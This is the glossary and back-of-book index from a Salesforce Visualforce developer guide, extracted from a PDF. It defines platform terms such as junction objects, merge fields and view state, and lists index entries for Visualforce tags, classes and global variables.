The Agent console's center frame, which is the detail page view of any record selected from any of the console’s other frames. The detail view displays the same page layouts defined for the object’s detail pages. When a record is displayed in the detail view, it is highlighted in the list view.
Developer Edition
A free, fully-functional Salesforce organization designed for developers to extend, integrate, and develop with the Force.com platform.
Developer Edition accounts are available on developer.salesforce.com
.
E
Email Template
A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a customer service request has been received. Email templates can be personalized with merge fields, and can be written in text,
HTML, or custom format.
Event
An event is an activity that has a scheduled time. For example, a meeting, or a scheduled phone call.
719
Glossary
F
Facet
A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet.
Field-Level Help
Custom help text that you can provide for any standard or custom field. It displays when users hover a mouse over the help icon adjacent to that field.
Force.com App Menu
A menu that enables users to switch between customizable applications (or “apps”) with a single click. The Force.com app menu displays at the top of every page in the user interface.
Formula Field
A type of custom field. Formula fields automatically calculate their values based on the values of merge fields, expressions, or other values.
Function
Built-in formulas that you can customize with input parameters. For example, the DATE function creates a date field type from a given year, month, and day.
G
Get Request
A get request is made when a user initially requests a Visualforce page, either by entering a URL or clicking a link or button.
Getter Methods
Methods that enable developers to display database and other computed values in page markup.
Methods that return values. See also Setter Methods.
H
No Glossary items for this entry.
I
No Glossary items for this entry.
J
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many” relationship between two objects. For example, you may have a custom object called “Bug” that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
720
Glossary
K
No Glossary items for this entry.
L
Lead
A lead is a sales prospect who has expressed interest in your product or company.
Length
Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field.
Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the decimal point, for example, 123.98 for an entry of 3.
M
Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup relationship field required on the page layout.
Merge Field
A merge field is a field you can put in an email template, mail merge template, custom link, or formula to incorporate values from a record. For example,
Dear {!Contact.FirstName},
uses a contact merge field to obtain the value of a contact record's
First Name
field to address an email recipient by his or her first name.
Mobile Configuration
A set of parameters that determines the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of mobile users.
N
Notes
Miscellaneous information pertaining to a specific record.
O
Object
An object allows you to store information in your Salesforce organization. The object is the overall definition of the type of information you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your organization will have multiple records that store the information about specific instances of that type of data. For example, you might have a case record to store the information about Joe Smith's training inquiry and another case record to store the information about Mary Johnson's configuration issue.
721
Glossary
Object-Level Help
Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit pages, as well as list views and related lists.
Opportunities
Opportunities track your sales and pending deals.
Organization
A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an individual customer of Salesforce. Your organization includes all of your data and applications, and is separate from all other organizations.
Outbound Message
An outbound message sends information to a designated endpoint, like an external service. Outbound messages are configured from Setup. You must configure the external endpoint and create a listener for the messages using the SOAP API.
Owner
Individual user to which a record (for example, a contact or case) is assigned.
P
Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber
(for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The
patchNumber
is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. See also Patch and Patch Development Organization.
Page Layout
Page layout is the organization of fields, custom links, and related lists on a record detail or edit page. Use page layouts primarily for organizing pages for your users. In Professional, Enterprise, Unlimited, Performance, and Developer Editions, use field-level security to restrict users’ access to specific fields.
Partial Page
An AJAX behavior where only a specific portion of a page is updated following some user action, rather than a reload of the entire page.
Postback Request
A postback request is made when user interaction requires a Visualforce page update, such as when a user clicks on a Save button and triggers a save action.
Primary Contact
Field in company information that lists the primary contact for your organization.
Also indicates the primary contact associated with an account, contract, or opportunity. Specified as a checkbox in the Contact Roles related list of an account, contract, or opportunity.
Product
A product is any item or service your organization sells. Products are defined in a price book, and can be added to opportunities.
Available in Professional, Enterprise, Unlimited, Performance, and Developer Editions only.
Prototype object
This is a single sObject
contained within the Visualforce StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values are applied to every record in the set controller's collection.
722
Glossary
Q
No Glossary items for this entry.
R
Read Only
One of the standard profiles to which a user can be assigned. Read Only users can view and report on information based on their role in the organization. (That is, if the Read Only user is the CEO, they can view all data in the system. If the Read Only user has the role of Western Rep, they can view all data for their role and any role below them in the hierarchy.)
Record
A single instance of a Salesforce object. For example, “John Jones” might be the name of a contact record.
Record Type
A record type is a field available for certain records that can include some or all of the standard and custom picklist values for that record. You can associate record types with profiles to make only the included picklist values available to users with that profile.
Related List
A section of a record or other detail page that lists items related to that record. For example, the Stage History related list of an opportunity or the Open Activities related list of a case.
Related Object
Objects chosen by an administrator to display in the Agent console's mini view when records of a particular type are shown in the console's detail view. For example, when a case is in the detail view, an administrator can choose to display an associated account, contact, or asset in the mini view.
Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a specified field in both objects are used to link related data; for example, if one object stores data about companies and another object stores data about people, a relationship allows you to find out which people work at the company.
Report
A report returns a set of records that meets certain criteria, and displays it in organized rows and columns. Report data can be filtered, grouped, and displayed graphically as a chart. Reports are stored in folders, which control who has access. See Tabular Report,
Summary Report, and Matrix Report.
S
S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Salesforce API Version
See Version.
723
Glossary
Sites
Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce organization—without requiring users to log in with a username and password.
Skeleton Template
A type of Visualforce template that uses the
<apex:composition >
tag. Skeleton templates define a standard structure that requires implementation from subsequent pages.
Solution
A solution is a detailed description of the resolution to a customer issue.
T
Text
Data type of a custom field that allows entry of any combination of letters, numbers, or symbols, up to a maximum length of 255 characters.
Text Area
A custom field data type that allows entry of up to 255 characters on separate lines.
Text Area (Long)
See Long Text Area.
U
User Interface
The layouts that specify how a data model should be displayed.
V
Version
A number value that indicates the release of an item. Items that can have a version include API objects, fields and calls; Apex classes and triggers; and Visualforce pages and components.
View
The user interface in the Model-View-Controller model, defined by Visualforce.
View State
Where the information necessary to maintain the state of the database between requests is saved.
Visualforce
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built on the platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller written in Apex.
Visualforce Lifecycle
The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user session.
724
Glossary
Visualforce Page
A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be associated with a CSS style.
W
No Glossary items for this entry.
X
No Glossary items for this entry.
Y
No Glossary items for this entry.
Z
No Glossary items for this entry.
725
INDEX
@readonly
@remoteaction
@RemoteAction
,
<flow:interview> advanced example
allowShowPause
pausedInterviewId
usage
,
,
$Component global variable
,
$User global variable
$User.UITheme global variable type
$User.UIThemeDisplayed global variable type
A
About Visualforce
Accessing custom components
action attribute
,
Action class instantiation
Action global variable type
Action methods
actionFunction tag
,
actionPoller tag
,
,
Actions standard controller
actionStatus tag
,
actionSupport tag
,
,
Ajax asynchronous operation status
DOM events
JavaScript events
partial page updates
AJAX Toolkit
analytics:reportChart tag
Apex class security
classes used with controllers
apex:actionFunction tag
apex:actionPoller tag
apex:actionRegion tag
apex:actionStatus tag
apex:actionSupport tag
apex:areaSeries tag
apex:attribute tag
apex:axis tag
apex:barSeries tag
726 apex:canvasApp tag
apex:chart tag
apex:chartLabel tag
apex:chartTips tag
apex:column tag
apex:commandButton tag
apex:commandLink tag
apex:component tag
apex:componentBody tag
apex:composition tag
apex:dataList tag
apex:dataTable tag
apex:define tag
apex:detail tag
apex:dynamicComponent tag
apex:emailPublisher tag
apex:enhancedList tag
apex:facet tag
apex:flash tag
apex:form tag
apex:gaugeSeries tag
apex:iframe tag
apex:image tag
apex:include tag
apex:includeLightning tag
apex:includeScript tag
apex:inlineEditSupport tag
apex:input tag
apex:inputCheckbox tag
apex:inputField tag
apex:inputFile tag
apex:inputHidden tag
apex:inputSecret tag
apex:inputText tag
apex:inputTextarea tag
apex:insert tag
apex:legend tag
apex:lineSeries tag
apex:listViews tag
apex:logCallPublisher tag
apex:map tag
apex:mapInfoWindow tag
apex:mapMarker tag
apex:message tag
apex:messages tag
apex:milestoneTracker tag
Index
apex:outputField tag
apex:outputLabel tag
apex:outputLink tag
apex:outputPanel tag
apex:outputText tag
apex:page tag
apex:pageBlock tag
apex:pageBlockButtons tag
apex:pageBlockSection tag
apex:pageBlockSectionItem tag
apex:pageBlockTable tag
apex:pageMessage tag
apex:pageMessages tag
apex:panelBar tag
apex:panelBarItem tag
apex:panelGrid tag
apex:panelGroup tag
apex:param tag
apex:pieSeries tag
apex:radarSeries tag
apex:relatedList tag
apex:remoteObjectField tag
apex:remoteObjectModel tag
apex:remoteObjects tag
apex:repeat tag
apex:scatterSeries tag
apex:scontrol tag
apex:sectionHeader tag
apex:selectCheckboxes tag
apex:selectList tag
apex:selectOption tag
apex:selectOptions tag
apex:selectRadio tag
apex:stylesheet tag
apex:tab tag
apex:tabPanel tag
apex:toolbar tag
apex:toolbarGroup tag
apex:variable tag
apex:vote tag
ApexPages.Action
class
ApexPages.IdeaStandardController class understanding
ApexPages.IdeaStandardSetController
class
ApexPages.KnowledgeArticleVersionStandardController
class
ApexPages.Message
class
ApexPages.StandardController
class
ApexPages.StandardSetController
class
prototype object
API
API 37.0
API global variable type
Architecture controller extension
,
custom controller
execution order
get request
MVC
postback request
view state
Visualforce
areaSeries tag
,
,
Asynchronous operation status
attachment tag
Attachments, adding to email templates
attribute tag
Attributes action
controller
custom
default
for
HTML5
id
on HTML tags
rerender
reRender
showHeader
standardController
standardStylesheets
status
style
styleClass
tabStyle
Auto-completion
axis tag
,
B barSeries tag
,
,
Benefits, Visualforce
727
Index
Best practices controllers
facets
improving performance
pageBlockSectionItem
panelBar
render as PDF
static resources
BlackBerry development
Buttons overriding
Salesforce styles
C c namespace
Cache.Session global variable
caching
Cascading style sheets extending Salesforce
identifying Salesforce look and feel
removing Salesforce
Salesforce
chart tag
,
,
chartLabel tag
,
,
chartTips tag
chatter:feed tag
chatter:feedWithFollowers tag
chatter:follow tag
chatter:followers tag
chatter:newsfeed tag
chatter:userPhotoUpload tag
chatteranswers:aboutme tag
chatteranswers:allfeeds tag
chatteranswers:changepassword tag
chatteranswers:datacategoryfilter tag
chatteranswers:feedfilter tag
chatteranswers:feeds tag
chatteranswers:forgotpassword tag
chatteranswers:forgotpasswordconfirm tag
chatteranswers:guestsignin tag
chatteranswers:help tag
chatteranswers:login tag
chatteranswers:registration tag
chatteranswers:searchask tag
chatteranswers:singleitemfeed tag
Classes
ApexPages.Action
728
Classes (continued)
ApexPages.IdeaStandardController
ApexPages.IdeaStandardSetController
ApexPages.KnowledgeArticleVersionStandardController
ApexPages.Message
ApexPages.StandardController
ApexPages.StandardSetController
System.ApexPages
System.Cookie
System.PageReference
System.SelectOption
Code
Visualforce
security
column tag
commandButton tag
,
,
,
commandLink tag
,
,
,
,
,
comments conditional
IE
Internet Explorer
common.css
Communities
Compiling
Component global variable type
Component reference using
component tag
ComponentLabel global variable type
Components, custom
See Custom components
composition tag
compound ID
Constructors custom controller
ContentType
Controllers about
addFields method
architecture
best practices
creating custom
creating custom action methods
creating custom getter methods
creating custom navigation methods
creating dependent controllers and pages
custom
,
custom component
custom list
Index
Controllers (continued) execution order
extending
extensions
,
,
,
get requests
governor limits
large queries
methods
order of method instantiation
postback requests
Read Only Context
reset method
security
sharing rules
standard
testing
validation rules
view state
,
Visualforce Mobile
Controllers, Visualforce maintaining view state
transient keyword
Conventions
Cross-platform mobile development
CSS styles extending Salesforce
identifying Salesforce look and feel
removing Salesforce
Salesforce
Visualforce Mobile
CurrentPage global variable
CurrentPage global variable type
Custom components about
attributes
controllers
default attributes
defining
email template styles in
markup
namespaces, componentBody
using in markup
Custom controllers action methods
and email templates
architecture
building
considerations when creating
constructors
729
Custom controllers (continued) creating
creating action methods
creating getter methods
creating navigation methods
execution order
get requests
getName() method
getter methods
getting and setting data
governor limits
order of method instantiation
postback requests
security
setter methods
system mode
testing
using email in
using in emails
validation rules
view state
Custom help
Custom list controllers building
creating
mass-update
Custom objects related lists
Custom setting
Custom styles
,
custom.css
Customizing tab home pages
D
Dashboard components, Visualforce advanced
basic
Data model
dataTable tag
debugging
define tag
Dependent picklists adding
detail tag
Developer Edition
Development environments
guidelines
Index
Development (continued) security
tools
View State tab
Development mode enabling
Documentation typographical conventions
Documents compared to static resources
DOM ID
Dynamic Visualforce components
Dynamic Visualforce binding custom objects
global variables
globals
,
lists
maps
packages
standard objects
Dynamic Visualforce components action methods
deferred creation
implementation guidelines
order of execution
dynamicComponent tag
E
Editions supported Salesforce
Email supported Salesforce Classic Mobile
attachments
sending
templates
email merge fields
Email templates attachments
creating
stylesheets
translating
using custom controllers
emailTemplate tag
Environments
Events, JavaScript
Execution order examples
Expression operators
Extensions, controller action methods
730
Extensions, controller (continued) architecture
considerations when creating
execution order
get requests
getter methods
getting and setting data
governor limits
leftmost
order of method instantiation
overriding
postback requests
setter methods
testing
view state
F facet tag
Features, new
field sets
Field Sets creating
dynamic references
Fields using
describe results
FieldSet global variable type
finishLocation
Fixes, quick
Flash
Flow collection values getting
setting
Flow constant values getting
setting
Flow sObject variable values getting
setting
Flow variable values getting
setting
flow:interview tag
Flows customize user interface
embedding
finishLocation
run time
run time UI customization
Index
for attribute
Force.com platform about
form tag
form tag, Visualforce
Forms accessibility
creating
field label
field order
input field
label
tab order
Functions
G gaugeSeries tag
,
geolocation
,
,
Get requests
getName() method
Getter methods
,
Global variables
$Action
,
$Api
$Cache.Session
$Component
,
$ComponentLabel
$CurrentPage
$FieldSet
$Label
$Label.Site
$Network
$ObjectType
,
$Organization
$Page
$Permission
$Profile
$Resource
,
$SControl
$Setup
$Site
$System.OriginDateTime
$User
$User.UITheme
,
$User.UIThemeDisplayed
$UserRole
CurrentPage
System
Governor limits, controller
731
Guidelines
H
Hello World example creating a page
displaying field values
Help, custom
Highlighting, syntax
HTML comments
container page
content type
data attribute
doctype
,
doctype declaration
document type
Document Type Definition
DTD
empty page
html5
HTML5
,
IE
Internet Explorer
manifest attribute
tags
tidying
HTML5 attributes
JavaScript frameworks
jQuery Mobile
Knockout.js
mobile
htmlEmailBody tag
I id attribute
id query string parameter
ideas:detailOutputLink tag
ideas:listOutputLink tag
ideas:profileListOutputLink tag
IdeaStandardController class instantiation
IdeaStandardSetController class instantiation
IDEs
image tag,
Improving performance
include tag
Index
inline editing, Visualforce enabling
Input components
Input components, Visualforce
inputCheckbox tag
inputField tag
,
,
,
inputFile tag
inputHidden tag
inputSecret tag
inputText tag
,
inputTextarea tag
,
inputTextArea tag, Visualforce
insert tag
iPhone development
mapping application example
Iteration components
J
JavaScript
@RemoteAction
Ajax
Ajax asynchronous operation status
events
jQuery
jQuery Mobile
library for Visualforce Mobile
mobile
partial page updates
remote method override
Remote Objects
,
,
remoting
,
,
,
,
using DOM ID
Visualforce
JavaScript library
Visualforce
JavaScript remoting
,
JavaScript Remoting debugging
limits
K
Keywords transient
knowledge:articleCaseToolbar tag
knowledge:articleList tag
knowledge:articleRendererToolbar tag
knowledge:articleTypeList tag
knowledge:categoryList tag
L
Label global variable type
Label.Site global variable type
Layouts, page
See Page layouts
legend tag
,
,
Library
JavaScript commands for Visualforce Mobile
Library, component
See Component reference
Lifecycle controller
,
controller extension
,
execution order
get request
page
,
postback request
view state
View State tab
limitations
,
limits
lineSeries tag
,
Links query string parameters
liveAgent:clientChat tag
liveAgent:clientChatAlertMessage tag
liveAgent:clientChatCancelButton tag
liveAgent:clientChatEndButton tag
liveAgent:clientChatFileTransfer tag
liveAgent:clientChatInput tag
liveAgent:clientChatLog tag
liveAgent:clientChatLogAlertMessage tag
liveAgent:clientChatMessages tag
liveAgent:clientChatQueuePosition tag
liveAgent:clientChatSaveButton tag
liveAgent:clientChatSendButton tag
liveAgent:clientChatStatusMessage tag
location
M map
Merge fields
Message class instantiation
severity enum
732
Index
Message severity
Messaging namespace
EmailFileAttachment class
SingleEmailMessage class
messaging:attachment tag
messaging:emailHeader tag
messaging:emailTemplate tag
messaging:htmlEmailBody tag
messaging:plainTextEmailBody tag
Methods action
DescribeFieldResult object
DescribeSObjectResult object
getName()
getter
,
navigation
setter
mobile
,
,
Mobile
@RemoteAction
example code
JavaScript
Remote Objects
see Visualforce Mobile
mobile configurations
MVC architecture
N
Namespaces c
custom component
Navigation
Network
Network global variable type
New features in this release
O
ObjectType global variable type
Operators, expression
Organization global variable type
outputField tag
outputLabel tag
outputLink tag
outputPanel tag
,
,
outputText tag
Overriding buttons
tab home pages
733
Overview
Salesforce Classic Mobile
Visualforce
Visualforce Mobile
P packages
Page creation
Page editor
Page global variable type
Page layouts limitations
page parameters
page tag contentType attribute
renderAs attribute
pageBlock tag
pageBlockSectionItem tag
pageBlockTable tag
pageMessage tag
PageReference
PageReference class instantiation
navigation example
query string example
PageReference object
PageReference objects
Pages
BlackBerry development
cross-platform mobile development
CSS
iPhone development
mobile development
styling
panelBar tag
param tag
Parameters setting query string
Partial page updates
PDF getting query string
query string id
limitations
render as
PDF, best practice
PDF, render as
Permission global variable type
Permissions controller
Index
pieSeries tag
plainTextEmailBody tag
Platform, Force.com
See Force.com platform
Postback requests
Profile global variable type
Q
Query string parameters getting
setting
testing with
Quick fixes
,
Quick start creating a page
displaying field values
Editing table data
redirecting pages
render as PDF
specifying a controller
Quick start tutorial, Visualforce
R radarSeries tag
Read Only Context
Record types
Redirecting to a static resource
Reference, component
See Component reference
relatedList tag
,
Release notes
Remote Objects
@RemoteAction
business logic
callback functions
considerations
create
,
del
delete
example code
limitations
limits
query criteria
remote method override
retrieve
trade-offs
transactions
update
734
Remote Objects (continued) upsert
with jQuery
rendered attribute
repeat tag
,
rerender attribute
reRender attribute
Resource global variable type
,
Resources, static
See Static resources
S
S-controls compared with Visualforce pages
limitations
Salesforce Classic Mobile mobile configurations
overview
Salesforce editions, supported
Salesforce styles removing
Saving
scatterSeries tag
SControl global variable type
Security code
formulas
Visualforce
Security, controller
selectCheckboxes tag
,
selectList tag
,
SelectOption example
instantiation
selectOption tag, Visualforce
selectRadio tag
selectRadio tag, Visualforce
Session Cache
Setter methods
Setup global variable type
Severity, messages
Sharing rules
showHeader attribute
Site global variable type
site:googleAnalyticsTracking tag
site:previewAsAdmin tag
sObjects describe result methods
social:profileViewer tag
Index
Standard controllers accessing data
actions
associating with pages
extending
styling pages that use
validation rules
Standard object list
StandardController example
standardController attribute
StandardController class instantiation
StandardSetController example
prototype object
StandardSetController class instantiation
standardStylesheets attribute
Static resource
Static resources redirecting to
status attribute
style attribute
,
Style sheets
See Cascading style sheets.
styleClass attribute
,
stylesheet tag
Stylesheets email template
Styling pages removing Salesforce styles
standard controllers and
with custom styles
with Salesforce styles
,
support:caseArticles tag
support:caseFeed tag
support:caseUnifiedFiles tag
support:clickToDial tag
support:portalPublisher tag
Syntax highlighting
System global variable
System mode
System.ApexPages
class
System.Cookie
class
System.OriginDateTime global variable type
735
System.PageReference
class
System.SelectOption
class
T
Tables dataTable tag
pageBlockTable tag
Tabs overriding
Visualforce Mobile
tabStyle attribute
Tags actionFunction
,
,
actionPoller
,
actionStatus
actionSupport
,
,
,
,
analytics:reportChart
apex:actionFunction
apex:actionPoller
apex:actionRegion
apex:actionStatus
apex:actionSupport
apex:areaSeries
apex:attribute
apex:axis
apex:barSeries
apex:canvasApp
apex:chart
apex:chartLabel
apex:chartTips
apex:column
apex:commandButton
apex:commandLink
apex:component
apex:componentBody
apex:composition
apex:dataList
apex:dataTable
apex:define
apex:detail
apex:dynamicComponent
apex:emailPublisher
apex:enhancedList
apex:facet
apex:flash
apex:form
apex:gaugeSeries
Index
Tags (continued) apex:iframe
apex:image
apex:include
apex:includeLightning
apex:includeScript
apex:inlineEditSupport
apex:input
apex:inputCheckbox
apex:inputField
apex:inputFile
apex:inputHidden
apex:inputSecret
apex:inputText
apex:inputTextarea
apex:insert
apex:legend
apex:lineSeries
apex:listViews
apex:logCallPublisher
apex:map
apex:mapInfoWindow
apex:mapMarker
apex:message
apex:messages
apex:milestoneTracker
apex:outputField
apex:outputLabel
apex:outputLink
apex:outputPanel
apex:outputText
apex:page
apex:pageBlock
apex:pageBlockButtons
apex:pageBlockSection
apex:pageBlockSectionItem
apex:pageBlockTable
apex:pageMessage
apex:pageMessages
apex:panelBar
apex:panelBarItem
apex:panelGrid
apex:panelGroup
apex:param
apex:pieSeries
apex:radarSeries
apex:relatedList
apex:remoteObjectField
apex:remoteObjectModel
736
Tags (continued) apex:remoteObjects
apex:repeat
apex:scatterSeries
apex:scontrol
apex:sectionHeader
apex:selectCheckboxes
apex:selectList
apex:selectOption
apex:selectOptions
apex:selectRadio
apex:stylesheet
apex:tab
apex:tabPanel
apex:toolbar
apex:toolbarGroup
apex:variable
apex:vote
areaSeries
,
attachment
attribute
axis
,
,
barSeries
,
,
chart
,
chartLabel
,
,
,
chartTips
,
,
chatter:feed
chatter:feedWithFollowers
chatter:follow
chatter:followers
chatter:newsfeed
chatter:userPhotoUpload
chatteranswers:aboutme
chatteranswers:allfeeds
chatteranswers:changepassword
chatteranswers:datacategoryfilter
chatteranswers:feedfilter
chatteranswers:feeds
chatteranswers:forgotpassword
chatteranswers:forgotpasswordconfirm
chatteranswers:guestsignin
chatteranswers:help
chatteranswers:login
chatteranswers:registration
chatteranswers:searchask
chatteranswers:singleitemfeed
column
commandButton
,
,
,
,
,
commandLink
,
,
,
,
,
Index
Tags (continued) component
componentBody
composition
dataTable
define
detail
,
dynamicComponent
emailTemplate
facet
,
flow:interview
form
,
,
,
gaugeSeries
HTML
htmlEmailBody
ideas:detailOutputLink
ideas:listOutputLink
ideas:profileListOutputLink
include
,
,
inputCheckbox
inputField
,
inputFile
inputHidden
inputSecret
inputText
,
,
inputTextarea
,
insert
knowledge:articleCaseToolbar
knowledge:articleList
knowledge:articleRendererToolbar
knowledge:articleTypeList
knowledge:categoryList
legend
,
lineSeries
liveAgent:clientChat
liveAgent:clientChatAlertMessage
liveAgent:clientChatCancelButton
liveAgent:clientChatEndButton
liveAgent:clientChatFileTransfer
liveAgent:clientChatInput
liveAgent:clientChatLog
liveAgent:clientChatLogAlertMessage
liveAgent:clientChatMessages
liveAgent:clientChatQueuePosition
liveAgent:clientChatSaveButton
liveAgent:clientChatSendButton
liveAgent:clientChatStatusMessage
messaging:attachment
messaging:emailHeader
737
Tags (continued) messaging:emailTemplate
messaging:htmlEmailBody
messaging:plainTextEmailBody
outputField
outputLabel
,
outputLink
,
outputPanel
,
,
outputText
page
,
,
,
,
,
,
,
pageBlock
,
,
pageBlockSectionItem
pageBlockTable
pageMessage tag
panelBar
param
pieSeries
,
,
plainTextEmailBody
radarSeries
,
,
relatedList
repeat
,
,
scatterSeries
,
selectCheckboxes
selectList
,
selectRadio
site:googleAnalyticsTracking
site:previewAsAdmin
social:profileViewer
style sheet
stylesheet
,
support:caseArticles
support:caseFeed
support:caseUnifiedFiles
support:clickToDial
support:portalPublisher
togglePanel
topics:widget
wave:dashboard
Tags, custom
See Custom components
Templates dynamic
skeleton
Templates, email
See Email templates
Testing controllers
togglePanel tag
topics:widget tag
transient keyword
Index
Troubleshooting page creation
performance issues
Tutorial, Visualforce quick start
Typographical conventions
U
Unit tests
Upgrading
Visualforce
URL query string parameters getting
setting
User global variable type
User profile
User.UITheme global variable type
User.UIThemeDisplayed global variable type
UserRole global variable type
V
Variables, global
See Global variables
Versioning custom components
packages
View state
Visualforce action methods
Ajax
ApexPages methods
chart
,
,
,
,
compiling successfully
dashboard components, advanced
dashboard components, basic
data
development mode footer
dynamic binding
,
,
custom objects
packages
standard objects
dynamic bindings
dynamic components
,
dynamic reference
,
editor
embedding flows
environments
field sets
form tag
738
Visualforce (continued) getting flow variable values
global variables
,
globals
,
Google Charts, integrating with
graphic
,
how users resume a flow
image tag
inline editing
inputTextArea tag
JavaScript
JavaScript library
JavaScript remoting
limitations
lists
maps
message severity
non-dynamic components
overriding buttons and tab home pages
page considerations
record types
restrictions
security tips
selectOption tag
selectRadio tag
sending email
setting flow variable values
templates
tools
versioning
View State tab
whether users can pause a flow
Visualforce Mobile best practices
cross-platform development
JavaScript library
tabs
testing
Visualforce pages
ContentType
doctype
object accessibility
W wave:dashboard tag
with sharing
Wizards, creating
Laadi alla
Avalik link on uuendatud
Teie vestluse avalik link on uuendatud. You may view and manage your chat links after registration here.
Dokumendi avalik link
Reklaam
